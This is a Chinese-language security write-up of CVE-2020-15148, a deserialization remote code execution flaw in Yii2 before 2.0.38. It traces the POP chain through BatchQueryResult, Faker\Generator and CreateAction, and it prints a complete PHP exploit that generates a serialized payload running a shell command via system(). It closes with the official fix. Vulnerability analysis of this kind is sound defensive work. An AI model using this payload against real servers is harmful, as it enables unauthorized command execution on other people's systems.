CVE-2020-15148 Yii2反序列化RCE POP链分析
字数 1135 2025-08-20 18:17:53
Yii2反序列化RCE漏洞分析(CVE-2020-15148)
漏洞概述
CVE-2020-15148是Yii2框架中存在的一个反序列化远程代码执行漏洞,影响Yii2版本低于2.0.38的应用程序。该漏洞通过精心构造的反序列化链(POP链)可实现任意代码执行。
影响范围
- Yii2版本 < 2.0.38
环境搭建
- 下载受影响版本的Yii2(如yii-basic-app-2.0.37.tgz)
- 解压到Web目录
- 修改配置文件
/config/web.php,设置cookieValidationKey字段值 - 添加一个存在漏洞的Action控制器
/controllers/TestController.php
漏洞分析
反序列化起点
漏洞利用链从yii\db\BatchQueryResult类开始,该类没有__wakeup()方法但存在__destruct()方法:
namespace yii\db;
class BatchQueryResult {
public function __destruct() {
$this->reset();
}
public function reset() {
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
// ...其他清理代码...
}
}
关键跳板
reset()方法中$this->_dataReader->close()调用是关键,攻击者可控制_dataReader属性,使其指向一个具有__call()魔术方法的对象。
利用Faker\Generator类
Faker\Generator类的__call()方法提供了进一步利用的可能:
namespace Faker;
class Generator {
public function format($formatter, $arguments = array()) {
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function __call($method, $attributes) {
return $this->format($method, $attributes);
}
}
当调用不存在的方法(如close())时,会触发__call(),进而调用format()方法,最终执行call_user_func_array()。
最终执行点
利用yii\rest\CreateAction::run()方法实现代码执行:
namespace yii\rest;
class CreateAction {
public function run() {
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
// ...其他代码...
}
}
$this->checkAccess和$this->id都可控,因此可以实现任意命令执行。
完整利用链
yii\db\BatchQueryResult::__destruct()yii\db\BatchQueryResult::reset()Faker\Generator::__call()(通过close()方法调用触发)Faker\Generator::format()yii\rest\CreateAction::run()call_user_func($this->checkAccess, $this->id)(执行任意命令)
EXP示例
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls -al';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
修复方案
- 升级Yii2到2.0.38或更高版本
- 官方修复方式是为
BatchQueryResult类添加__wakeup()方法,禁止反序列化该类:
public function __wakeup()
{
throw new \LogicException('BatchQueryResult cannot be serialized.');
}
总结
该漏洞利用Yii2框架中多个类的魔术方法和回调机制,通过精心构造的反序列化链实现了远程代码执行。理解这种POP链的构造方式对于防御类似漏洞具有重要意义。